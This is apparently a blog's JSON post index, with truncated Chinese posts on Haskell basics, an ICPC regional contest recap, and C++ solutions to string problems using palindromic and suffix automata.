[9.4,33.2,96.2,11.2,23.25] !! 1 3433.2 35 36 37 38 * ![](http://fleurer-lee.com/lyah/img/listmonster.png) 39 40 * 元组 # 1 * 类似C++中的pair,只不过不一定是2个元素 2 * 事先知道你要储存多少个值为一组**元组（例如数据是二维坐标)** 3 * **元组**对其中值的类型没有同一性的要求 4 * 若元组的长度为n则称其为_n_-tuple。特殊地如果元组的长度为2则称其为'pairs'（对），如果元组的长度为3则称其为'triples'。 5 6 7 8 9 10 11Prelude\u003e fst (2, 5) 122 13Prelude\u003e fst (True, \"boo\") 14True 15Prelude\u003e snd (5, \"Hello\") 16\"Hello\" 17 18 19 20 21 22 Prelude\u003e let first (x, y) = x 23 Prelude\u003e first (3, True) 24 3 25 26 27 28 29 30 31 * 列表和元组可以任意方式嵌套 在源文件里写代码（和在解释器里的区别） # * 定义变量没有let * 不能定义同一个量两次 * **顺序不重要**你声明变量的顺序不重要。例如，下面的代码片段可以得到完全同样的结果： y = x * 2 x = 3 x = 3 y = x * 2 * 变量不可改变的事实意味着我们随意选择以任何顺序写代码（但是这也是我们不能声明一个量一次以上的原因--否则那将是模棱两可的的）。 条件表达式 # 1 * if/else/then ","date":"2017-11-24","externalUrl":null,"permalink":"/2017/11/haskell-notes/","section":"Posts","summary":"出于对函数式编程语言这一技能点的缺失…以及退役之后闲得蛋疼","tags":["Haskell"],"title":"基础 Haskell 学习笔记","type":"post"},{"categories":["ACM"],"content":"emmm 最后一场，果然还是写点什么记录一下吧。 DAY 0 # 到宾馆已经晚上八点了，惊讶得发现宾馆和15年来参加regional的是同一个，于是戳了下当时和我们一起来的@Always队的三个已经毕业的学长，求了波rp2333 之后大家一起去吃火锅….还算比较开心？ 和我们一起去的有一个新生女队…看着她们蹦蹦跳跳的，仿佛自己也年轻了很多(逃 DAY 1 # 北大的衣服还是一如既往的好评。 热身赛的话…开场我先看了A，发现是个出过一万遍的傻逼题….隐约感觉15年热身赛也出了这道题…连题面都没变… 然后我就开始写A，中间队友发现B是个更傻逼的暴力题…不过还是让我先把A写完…写完发现A有奇怪的问题。。。打印下来调。。。然后队友把B过了。。。然后队友把D过了。。。然后发现竟然是抄板子少写了一对括号Orz..发现之后也过了A. 还好没浪费机时…然后还有个C…正解是最大流。。。？然而并没看出来，凉凉。索性就开始测试乱七八糟的东西。。 # DAY 2 # 正赛。 开始前队友数了数气球，发现B题和J题的气球比较多。。。 于是开始以后，一个队友写vim配置，我和另一个队友一个看B一个看J. 看过B感觉是高斯消元+构造之类的东西。。。感觉不太像签到。 这个时候看了榜，发现了签到题，主代码手想了想，写了写，就1A了 然后发现了另一个签到题，于是2个队友继续大力干J,我首推了F的坐标变换，然后调了一小会，交，1A. 然后另两个队友的J好像差不多了，开始写，我开始开新题，发现G很可搞 队友的J写完WA了，打印代码发现是一个初始化放错位置了，再交，2A. 感觉G就是个BFS+几何，判下点是否在三角形内，于是我开始写，然后2个队友开了H. 看榜发现这个G。。大家WA得死去活来的… 写完瑟瑟发抖得交了一发，果然WA了。 想了下发现只判断终点是否在三角形里很错啊？因为过程中也不能进入三角形，因此应该是bfs的时候判断起点到终点连接的线段是否和三角形相交。于是开始改… 改了好久也过不了样例，最后发现，板子是错的…… 这时候已经封榜之后半小时了。 中途队友讨论H，说应该是个线段树…数据结构题都是我来写的…然而几何题也是我来写…所以就。。。。凉凉。 就很绝望…卡得题都是我的题。。。 比赛结束，我们三个收拾好东西就走了… 到了宾馆正和队友嘿嘿嘿(误 突然另一个队友打电话过来说我们银了。。 ？？？？ 这也能银orz 封榜前看到那个G，我们后面的队伍交了得有100发。。。然而没什么人通过？ 突然整个人都兴奋了orz 写在最后 # 最后一场区域赛。 其实去年(伪)退役到今年，大概有10个月没写代码了。。。 真正开始训练也就是10月7号回来以后. 所以能拿到这样的成绩已经很满意了。 我总觉得虽然大家都是北京是区域赛里的地狱模式…但是对于我们队来说，不管是15年，还是平常的训练赛，北京的题目，都是打得最舒服的。其实当时选赛区就是觉得，北京的题目比较稳以及觉得北大是我们的好运之地，所以坚持选了一个北京。看来没选错2333 退役了，退役了，愿看到这里的各位，都能拿到自己理想的成绩。","date":"2017-11-21","externalUrl":null,"permalink":"/2017/11/2017-acm-icpc-beijing-regional/","section":"Posts","summary":"emmm 最后一场，果然还是写点什么记录一下吧。 DAY 0 # 到宾馆已经晚上八点了，惊讶得发现宾馆和15年来参加regional的是同一个，于是戳了下当时和我们一起来的@Always队的三个已经毕业的学长，求了波rp2333","tags":["算法竞赛"],"title":"2017 ACM-ICPC Beijing Regional 总结","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/gym/100548 题意： # 切换面板：标签 标签 添加新标签 ￼ 回文自动机、 给2个字符串，问2个字符串中，相等并且都是回文串的对数。 思路： # 构建2个PAM.然后奇偶起点分别跑dfs即可。 PAM写成了模块化的形式orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月14日 星期二 20时22分15秒 4File Name :G.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=2E5+7; 24struct PAM 25{ 26 struct state 27 { 28 int fail,cnt,len; 29 int nxt[26]; 30 }st[N]; 31 char S[N],RS[N]; 32 int n,now,sz; 33 void init() 34 { 35 ms(st,0); 36 st[0].fail = st[1].fail = 1; 37 st[1].len = -1; 38 sz = 1; 39 } 40 void extend(int c,int pos) 41 { 42 int p = now; 43 while (S[pos-st[p].len-1]!=S[pos]) p = st[p].fail; 44 if (!st[p].nxt[c]){ 45 int np=++sz,q=st[p].fail; 46 st[np].len=st[p].len+2; 47 while (S[pos-st[q].len-1]!=S[pos]) q=st[q].fail; 48 st[np].fail=st[q].nxt[c]; 49 st[p].nxt[c] = np; 50 } 51 now=st[p].nxt[c]; 52 st[now].cnt++; 53 } 54 void Cnt() 55 { 56 for ( int i = sz ; i \u003e= 2; i--) st[st[i].fail].cnt += st[i].cnt; 57 } 58 void build () 59 { 60 init(); 61 int len = strlen(S+1); 62 for ( int i = 1 ; i \u003c= len ; i++) extend(S[i]-'a',i); 63 } 64}A,B; 65 66LL ans; 67void dfs( int x,int y) 68{ 69 // printf(\"x:%d y:%d\\n\",x,y); 70 for ( int i = 0 ; i \u003c 26 ; i++) 71 { 72 int u = A.st[x].nxt[i]; 73 int v = B.st[y].nxt[i]; 74 if (u\u0026\u0026v) 75 { 76 ans = ans + 1LL*A.st[u].cnt * B.st[v].cnt; 77 // printf(\"u:%d v:%d ans:%lld\\n\",u,v","date":"2017-11-14","externalUrl":null,"permalink":"/2017/11/2014-xian-acm-icpc-regional-contest-problem-g/","section":"Posts","summary":"http://codeforces.com/gym/100548 题意： # 切换面板：标签 标签 添加新标签 ￼ 回文自动机、 给2个字符串，问2个字符串中，相等并且都是回文串的对数。","tags":["回文自动机"],"title":"2014 Xi'An ACM-ICPC Regional Contest Problem G. The Problem to Slow Down You (回文自动机(模块化写法))","type":"post"},{"categories":["ACM"],"content":"2160: 拉拉队排练 # Time Limit: 10 Sec Memory Limit: 259 MB Submit: 1938 Solved: 743 [Submit][Status][Discuss] Description # 艾利斯顿商学院篮球队要参加一年一度的市篮球比赛了。拉拉队是篮球比赛的一个看点，好的拉拉队往往能帮助球队增加士气，赢得最终的比赛。所以作为拉拉队队长的楚雨荨同学知道，帮助篮球队训练好拉拉队有多么的重要。拉拉队的选拔工作已经结束，在雨荨和校长的挑选下，n位集优秀的身材、舞技于一体的美女从众多报名的女生中脱颖而出。这些女生将随着篮球队的小伙子们一起，和对手抗衡，为艾利斯顿篮球队加油助威。一个阳光明媚的早晨，雨荨带领拉拉队的队员们开始了排练。n个女生从左到右排成一行，每个人手中都举了一个写有26个小写字母中的某一个的牌子，在比赛的时候挥舞，为小伙子们呐喊、加油。雨荨发现，如果连续的一段女生，有奇数个，并且他们手中的牌子所写的字母，从左到右和从右到左读起来一样，那么这一段女生就被称作和谐小群体。现在雨荨想找出所有和谐小群体，并且按照女生的个数降序排序之后，前K个和谐小群体的女生个数的乘积是多少。由于答案可能很大，雨荨只要你告诉她，答案除以19930726的余数是多少就行了。 Input # 输入为标准输入。第一行为两个正整数n和K，代表的东西在题目描述中已经叙述。接下来一行为n个字符，代表从左到右女生拿的牌子上写的字母。 Output # 输出为标准输出。输出一个整数，代表题目描述中所写的乘积除以19930726的余数，如果总的和谐小群体个数小于K，输出一个整数-1。 Sample Input # 5 3 ababa Sample Output # 45 【样例说明】 和谐小群体女生所拿牌子上写的字母从左到右按照女生个数降序排序后为ababa, aba, aba, bab, a, a, a, b, b，前三个长度的乘积为。 HINT # 总共20个测试点，数据范围满足： 思路： # 直接PAM. 需要注意的是，PAM构建之后，再按照逆拓扑序更新一遍得到的cnt才是实际的cnt 需要注意的是，PAM构建之后，再按照逆拓扑序更新一遍得到的cnt才是实际的cnt 需要注意的是，PAM构建之后，再按照逆拓扑序更新一遍得到的cnt才是实际的cnt 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月14日 星期二 19时05分14秒 4File Name :2160.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const LL mod = 19930726; 24const int N=1E6+7; 25LL k; 26int n; 27char S[N]; 28struct PAM 29{ 30 int fail; 31 LL cnt,len; 32 int nxt[26]; 33}st[N]; 34int now,sz; 35int Right[N],Left[N]; 36void pam_init() 37{ 38 ","date":"2017-11-14","externalUrl":null,"permalink":"/2017/11/bzoj-2160/","section":"Posts","summary":"2160: 拉拉队排练 # Time Limit: 10 Sec Memory Limit: 259 MB Submit: 1938 Solved: 743 [Submit][Status][Discuss]","tags":["回文自动机","快速幂"],"title":"bzoj 2160: 拉拉队排练 (回文自动机+快速幂)","type":"post"},{"categories":["ACM"],"content":"http://acm.timus.ru/problem.aspx?space=1\u0026num=1960 题意： # 给一个字符串S,依次输出字符串S的所有前缀中，本质不同的回文串个数。 思路： # 考虑构建PAM是一个增量算法…所以一边构建一边输出答案就好了。。。 某一时刻本质不同的回文串个数就是sz-1 (标号是从0..sz，一共sz+1个，减去2个根，所以是sz-1) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月14日 星期二 01时01分03秒 4File Name :2565.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E5+7; 24struct PAM 25{ 26 int fail,cnt,len; 27 int nxt[26]; 28}st[N]; 29char S[N],RS[N]; 30int n,now,sz; 31void pam_init() 32{ 33 ms(st,0); 34 st[0].fail = st[1].fail = 1; 35 st[1].len = -1; 36 sz = 1; 37} 38void extend(int c,int pos) 39{ 40 int p = now; 41 while (S[pos-st[p].len-1]!=S[pos]) p = st[p].fail; 42 if (!st[p].nxt[c]){ 43 int np=++sz,q=st[p].fail; 44 st[np].len=st[p].len+2; 45 while (S[pos-st[q].len-1]!=S[pos]) q=st[q].fail; 46 st[np].fail=st[q].nxt[c]; 47 st[p].nxt[c] = np; 48 } 49 now=st[p].nxt[c]; 50 st[now].cnt++; 51} 52int main() 53{ 54 #ifndef ONLINE_JUDGE 55// freopen(\"./in.txt\",\"r\",stdin); 56 #endif 57 scanf(\"%s\",S); 58 pam_init(); 59 n = strlen(S); 60 vector \u003cint\u003eans; 61 for ( int i = 0 ; i \u003c n; i++) extend(S[i]-'a',i),ans.PB(sz-1); 62 int siz = ans.size(); 63 for ( int i = 0 ; i \u003c siz ; i++) printf(\"%d%c\",ans[i],i==siz-1?'\\n':' '); 64 #ifndef ONLINE_JUDGE 65 fclose(stdin); 66 #endif 67 return 0; 68}","date":"2017-11-13","externalUrl":null,"permalink":"/2017/11/ural-1960/","section":"Posts","summary":"http://acm.timus.ru/problem.aspx?space=1\u0026num=1960 题意： # 给一个字符串S,依次输出字符串S的所有前缀中，本质不同的回文串个数。","tags":["回文自动机"],"title":"ural 1960. Palindromes and Super Abilities (回文自动机，统计本质不同的回文串个数)","type":"post"},{"categories":["ACM"],"content":"Description # 顺序和逆序读起来完全一样的串叫做回文串。比如acbca是回文串，而abc不是（abc的顺序为“abc”，逆序为“cba”，不相同）。 输入长度为n的串S，求S的最长双回文子串T,即可将T分为两部分X，Y，（|X|,|Y|≥1）且X和Y都是回文串。 Input # 一行由小写英文字母组成的字符串S。 Output # 一行一个整数，表示最长双回文子串的长度。 Sample Input # baacaabbacabb Sample Output # 12 HINT # 样例说明 从第二个字符开始的字符串aacaabbacabb可分为aacaa与bbacabb两部分，且两者都是回文串。 对于100%的数据，2≤|S|≤10^5 2015.4.25新加数据一组 Source # 2012国家集训队Round 1 day2 思路： # 我们考虑增量构建PAM的时候 构建到pos,当前的状态的len其实就是到以pos位置结尾的最长回文串的长度。 那么我们只需要正着做一遍，再倒着做一遍，然后枚举断点就行了。 时间复杂度O(n) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月14日 星期二 01时01分03秒 4File Name :2565.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E5+7; 24struct PAM 25{ 26 int fail,cnt,len; 27 int nxt[26]; 28}st[N]; 29char S[N],RS[N]; 30int n,now,sz; 31int Right[N],Left[N]; 32//right[i]表示以i结尾的最长回文串的长度 33//left[i]表示以i开头的最长回文串的长度,需要反转母串构建PAM求得 34void pam_init() 35{ 36 ms(st,0); 37 st[0].fail = st[1].fail = 1; 38 st[1].len = -1; 39 sz = 1; 40} 41void extend(char *S,int c,int pos,bool flag) //忘记加*S这个参数了。。。以至于没有真正反着做orz 42{ 43 int p = now; 44 while (S[pos-st[p].len-1]!=S[pos]) p = st[p].fail; 45 if (!st[p].nxt[c]){ 46 int np=++sz,q=st[p].fail; 47 st[np].len=st[p].len+2; 48 while (S[pos-st[q].len-1]!=S[pos]) q=st[q].fail; 49 st[np].fail=st[q].nxt[c]; 50 st[p].nxt[c] = np; 51 } 52 now=st[p].nxt[c]; 53 if (flag) 54 Right[pos]=st[now].len; 55 else Left[n-pos-1","date":"2017-11-13","externalUrl":null,"permalink":"/2017/11/bzoj-2565/","section":"Posts","summary":"Description # 顺序和逆序读起来完全一样的串叫做回文串。比如acbca是回文串，而abc不是（abc的顺序为“abc”，逆序为“cba”，不相同）。 输入长度为n的串S，求S的最长双回文子串T,即可将T分为两部分X，Y，（|X|,|Y|≥1）且X和Y都是回文串。","tags":["回文自动机"],"title":"BZOJ 2565: 最长双回文串 (回文自动机)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=3948 题意： # 给一个字符串，问本质不同的回文子串的个数。 思路： # 考虑回文自动机。 我们知道，对于PAM上的一个节点，表示的就是一个本质不同的回文串。 UPDATE: 弃用了这种代码风格,新的写法见下面。 那么sz-2就是本质不同的回文子串个数了orz(减掉2是因为PAM有2个根，这2个根不表示回文串） 1#include \u003ciostream\u003e 2#include \u003ccstdio\u003e 3#include \u003ccstring\u003e 4#include \u003calgorithm\u003e 5typedef long long LL; 6#define ri register int 7using namespace std; 8#define MAXALP 30 9#define ms(a,x) memset(a,x,sizeof(a)) 10const int N = 3E5+7; 11struct PAM 12{ 13 int cnt,len,fail; 14 int nxt[MAXALP]; 15}st[N]; 16int n, m, sz , last, cur; 17char s[N]; 18inline int new_node(int x) 19{ 20 st[sz].len = x; st[sz].cnt = 0; 21 ms(st[sz].nxt,0); 22 return sz++; 23} 24inline int get_fail(int x, int n) 25{ 26 while(s[n-st[x].len-1] != s[n]) x = st[x].fail; 27 return x; 28} 29inline void pam_init() 30{ 31 sz = 0 ; 32 new_node(0); 33 new_node(-1); 34 st[0].fail = 1; 35 ms(st[0].nxt,0); 36 last = 0; 37} 38void pam_insert( int c,int head) 39{ 40 cur = get_fail(last,head); 41 if (!st[cur].nxt[c]) 42 { 43 int nw = new_node(st[cur].len+2); 44 st[nw].fail = st[get_fail(st[cur].fail,head)].nxt[c]; 45 st[cur].nxt[c] = nw; 46 } 47 last = st[cur].nxt[c]; 48 st[last].cnt++; 49} 50int main() 51{ 52// freopen(\"./in.txt\",\"r\",stdin); 53 int T; 54 int cas = 0 ; 55 cin\u003e\u003eT; 56 while (T--) 57 { 58 scanf(\"%s\",s); 59 n = strlen(s); 60 pam_init(); 61 for(int i=0;i\u003cn;i++) pam_insert(s[i]-'a',i); 62 printf(\"Case #%d: %d\\n\",++cas,sz-2); 63 } 64 65 return 0; 66} 对于新的代码风格，节点数标号是从0到siz,其中标号为0和标号为1的是2个根。 因此答案是siz-1 新的代码风格： 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月14日 星期二 00时13分44秒 4File Name :103.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define ms(a,x) memset(a,x,sizeof(a)) 9typedef long long LL; 10using namespace std; 11const int","date":"2017-11-13","externalUrl":null,"permalink":"/2017/11/hdu-3948/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=3948 题意： # 给一个字符串，问本质不同的回文子串的个数。","tags":["回文自动机"],"title":"hdu 3948  |   2011 Multi-University Training Contest 11  The Number of Palindromes (回文自动机模板题)","type":"post"},{"categories":["ACM"],"content":"http://uoj.ac/problem/103 题意： # 给你一个由小写拉丁字母组成的字符串 s。我们定义 s 的一个子串的存在值为这个子串在 s 中出现的次数乘以这个子串的长度。 对于给你的这个字符串 s，求所有回文子串中的最大存在值。 思路： # 回文自动机，也叫回文树，但其实并不是树2333,所以以后还是称为回文自动机，缩写为PAM 学会了(?)SAM之后再看PAM真是简单得一逼。 学习笔记之后补。 对于这道题，PAM中一个状态的cnt表示的该状态所表示的回文串出现的次数 len表示的是该状态所表示的回文串的长度 UPDATE: 下面的代码风格太丑了，打算弃用。 更新的代码风格见最后 1#include \u003ciostream\u003e 2#include \u003ccstdio\u003e 3#include \u003ccstring\u003e 4#include \u003calgorithm\u003e 5typedef long long LL; 6#define ri register int 7using namespace std; 8#define MAXALP 30 9#define ms(a,x) memset(a,x,sizeof(a)) 10const int N = 3E5+7; 11struct PAM 12{ 13 int cnt,len,fail; 14 int nxt[MAXALP]; 15}st[N]; 16int n, m, sz , last, cur; 17char s[N]; 18inline int new_node(int x) 19{ 20 st[sz].len = x; st[sz].cnt = 0; 21 ms(st[sz].nxt,0); 22 return sz++; 23} 24inline int get_fail(int x, int n) 25{ 26 while(s[n-st[x].len-1] != s[n]) x = st[x].fail; 27 return x; 28} 29inline void pam_init() 30{ 31 sz = 0 ; 32 new_node(0); 33 new_node(-1); 34 st[0].fail = 1; 35 ms(st[0].nxt,0); 36 last = 0; 37} 38void pam_insert( int c,int head) 39{ 40 cur = get_fail(last,head); 41 if (!st[cur].nxt[c]) 42 { 43 int nw = new_node(st[cur].len+2); 44 st[nw].fail = st[get_fail(st[cur].fail,head)].nxt[c]; 45 st[cur].nxt[c] = nw; 46 } 47 last = st[cur].nxt[c]; 48 st[last].cnt++; 49} 50int main() 51{ 52 scanf(\"%s\",s); 53 n = strlen(s); 54 pam_init(); 55 for(int i=0;i\u003cn;i++) pam_insert(s[i]-'a',i); 56 for(int i=sz-1;i\u003e=0;i--) st[st[i].fail].cnt += st[i].cnt; 57 LL ans = 0; 58 for(int i=2;i\u003csz;i++) ans = max(ans, 1LL*st[i].len*st[i].cnt); 59 cout\u003c\u003cans\u003c\u003cendl; 60 return 0; 61} 62 63 64 65 66 67 68 69 70/* *********************************************** 71Author :111qqz 72Created Time :2017年11月14日 星期二 00时13分44秒 73File Name :103.cpp 74************************************************ */ 75 76#include \u003cbits/stdc++.h\u003e 77#","date":"2017-11-13","externalUrl":null,"permalink":"/2017/11/uoj-103/","section":"Posts","summary":"http://uoj.ac/problem/103 题意： # 给你一个由小写拉丁字母组成的字符串 s。我们定义 s 的一个子串的存在值为这个子串在 s 中出现的次数乘以这个子串的长度。","tags":["回文自动机"],"title":"UOJ #103. 【APIO2014】Palindromes (回文自动机模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接：http://codeforces.com/problemset/problem/123/D 题意： # 如果字符串y在字符串x中出现n次，那么F(x,y)=n*(n+1)/2 现在给一个字符串，求所有的F(s,x)的和，x为字符串的所有不相同的子串． 思路： # 这道题可以考虑用后缀数组做，麻烦一点：codeforces-123D-解题报告(SA) 直接SAM right[v]就是SAM上状态表示的所有字符串出现的次数。 那么每个状态的答案就是right[v](right[v]+1)/2(st[v].len-st[st[v].link].len) 累加即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :3518.cpp 5************************************************ */ 6 7//#include \u003cbits/stdc++.h\u003e 8#include \u003ccstring\u003e 9#include \u003cstring\u003e 10#include \u003calgorithm\u003e 11#include \u003ciostream\u003e 12#include \u003ccstdio\u003e 13#include \u003ccmath\u003e 14#define PB push_back 15#define fst first 16#define sec second 17#define lson l,m,rt\u003c\u003c1 18#define rson m+1,r,rt\u003c\u003c1|1 19#define ms(a,x) memset(a,x,sizeof(a)) 20typedef long long LL; 21#define pi pair \u003c int ,int \u003e 22#define MP make_pair 23 24using namespace std; 25const double eps = 1E-8; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28const int inf = 0x3f3f3f3f; 29#define MAXALP 55 //还有大写字母orz 30int k; 31struct state 32{ 33 int len, link, nxt[MAXALP]; 34}; 35const int N =1E5+7; 36state st[N*2]; 37int sz, last,rt; 38char s[N]; 39int Right[2*N]; 40int cnt[2*N],rk[2*N];//for radix sort 41int dp[2*N],lazy[2*N]; 42void sa_init() 43{ 44 sz = 0; 45 last = rt = ++sz; 46 st[1].len = 0; 47 st[1].link=-1; 48 ms(st[1].nxt,-1); 49} 50void sa_extend(int c) 51{ 52 int cur = ++sz; 53 st[cur].len = st[last].len + 1; 54 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 55 int p; 56 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 57 st[p].nxt[c] = cur; 58 if (p == -1) { 59 st[cur].link = rt; 60 } else { 61 int q = st[p].nxt[c]; 62 if (st[p].len + 1 == st[q].len) { 63 st[cur].link = q; 64 } else { 65 int clone = ++sz ; 66 st[clone].len = st[p].len + 1","date":"2017-11-13","externalUrl":null,"permalink":"/2017/11/codeforces-123d/","section":"Posts","summary":"题目链接：http://codeforces.com/problemset/problem/123/D","tags":["后缀自动机"],"title":"codeforces 123D. String(后缀自动机)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3415 题意： # 给出两个字符串，问公共长度大于等于k的子串个数（只要两个串的位置不同就认为是不同） 思路： # 考虑SAM的性质。 SAM上的一个节点所能接受的本质不同的子串个数是**st[v].len - st[st[v].link].len** 而这些子串，都出现了right[v]次，因为不同子串的个数就是**(st[v].len-st[st[v].link].len)right[v]* 现在有了限制条件，要求长度大于等于k. 没有限制的话，SAM上的一个节点所能接受的字符串的长度范围是在[st[st[v].link].len+1,st[v].len] 那么现在范围其实就变成了**[MX,st[v].len],其中MX = max{st[st[v].link].len+1,k}** 对于A串构建SAM，然后B串在SAM上运行 考虑对于SAM的某个状态，B串此时的最大匹配长度为len，那么len\u003e=MX时，满足条件的字符串的范围就变成了**[MX,len] ** len\u003cMX时无贡献。 所以该状态(v)对答案的就是 (len-MX+1)*right[v] 然而这还不算完，和之前的LCS2一样，如果SAM上的一个节点能匹配字符串B的长度大于等于k，那么该节点的祖先节点（父亲节点，父亲的父亲的节点…) 能匹配的字符串B的长度也都大于等于k… 如果我们一边匹配一边沿着parent树自底向上传递的话…复杂度n^2,一首凉凉送给自己 但是正常人会这样？.jpg 我们先打个标记，最后沿parent树自底向上把标记传递上去就行了。。 需要注意的是，此题的字符集是大小写字母都会包含…RE了2发orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :3518.cpp 5************************************************ */ 6 7//#include \u003cbits/stdc++.h\u003e 8#include \u003ccstring\u003e 9#include \u003cstring\u003e 10#include \u003calgorithm\u003e 11#include \u003ciostream\u003e 12#include \u003ccstdio\u003e 13#include \u003ccmath\u003e 14#define PB push_back 15#define fst first 16#define sec second 17#define lson l,m,rt\u003c\u003c1 18#define rson m+1,r,rt\u003c\u003c1|1 19#define ms(a,x) memset(a,x,sizeof(a)) 20typedef long long LL; 21#define pi pair \u003c int ,int \u003e 22#define MP make_pair 23 24using namespace std; 25const double eps = 1E-8; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28const int inf = 0x3f3f3f3f; 29#define MAXALP 55 //还有大写字母orz 30int k; 31struct state 32{ 33 int len, link, nxt[MAXALP]; 34}; 35const int N =1E5+7; 36state st[N*2]; 37int sz, last,rt; 38char s[N]; 39int Right[2*N]; 40int cnt[2*N],rk[2*N];//for radix sort 41int dp[2*N],lazy[2*N]; 42void sa_init() 43{ 44 sz = 0; 45 last = rt = ++sz; 46 st[1].len = 0; 47 st[1].link=-1; 48 ms(st[1","date":"2017-11-12","externalUrl":null,"permalink":"/2017/11/poj-3415/","section":"Posts","summary":"http://poj.org/problem?id=3415 题意： # 给出两个字符串，问公共长度大于等于k的子串个数（只要两个串的位置不同就认为是不同）","tags":["lazy标记","后缀自动机"],"title":"poj 3415  Common Substrings  (后缀自动机+parent树上的lazy标记)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4416 题意： # 给出一个字符串A和n个字符串B,问A的子串中，不在任何一个B中出现的本质不同的子串有多少。 思路： # 还是根据len搞事情 我们知道，如果不加任何条件，SAM中一个节点所表示的本质不同的子串数量是st[i].len - st[st[i].link].len 现在加了限制条件。 那么该状态中，有一些长度的字符串就会不满足条件。 我们考虑对母串A构建SAM 那么只需要维护B的所有串，对于某个状态能匹配的最大长度，设为maxlen,那么 长度为[maxlen+1,st[i].len]的字符串可以贡献答案。 如果maxlen为0，则该状态所表示的所有本质不同的子串都可以贡献答案。 维护最大匹配长度 可以参考 spoj-lcs2 解题报告 有所不同的是不需要在每一个B中都匹配，只需要至少一个匹配就行了，因此是取所有串的最大匹配长度即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :4416.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 30 24const int mod = 2012; 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28}; 29const int N =1E5+7; 30state st[N*2]; 31int sz, last,rt; 32char s[N]; 33int cnt[2*N],rk[2*N];//for radix sort 34int dp[2*N]; 35void sa_init() 36{ 37 sz = 0; 38 last = rt = ++sz; 39 st[1].len = 0; 40 st[1].link=-1; 41 ms(st[1].nxt,-1); 42} 43void sa_extend(int c) 44{ 45 int cur = ++sz; 46 st[cur].len = st[last].len + 1; 47 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 48 int p; 49 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 50 st[p].nxt[c] = cur; 51 if (p == -1) { 52 st[cur].link = rt; 53 } else { 54 int q = st[p].nxt[c]; 55 if (st[p].len + 1 == st[q].len) { 56 st[cur].link = q; 57 } else { 58 int clone = ++sz ; 59 st[clone].len = st[p].len + 1; 60 st[clone].lin","date":"2017-11-11","externalUrl":null,"permalink":"/2017/11/hdu-4416/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4416 题意： # 给出一个字符串A和n个字符串B,问A的子串中，不在任何一个B中出现的本质不同的子串有多少。","tags":["后缀自动机"],"title":"hdu 4416 Good Article Good sentence (后缀自动机)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=3518 题意： # 给一个字符串，问字符串中，至少出现2次且不相交的本质不同的子串有多少个。本质不同给的子串是说存在至少一位的字母不同。 思路： # 考虑SAM 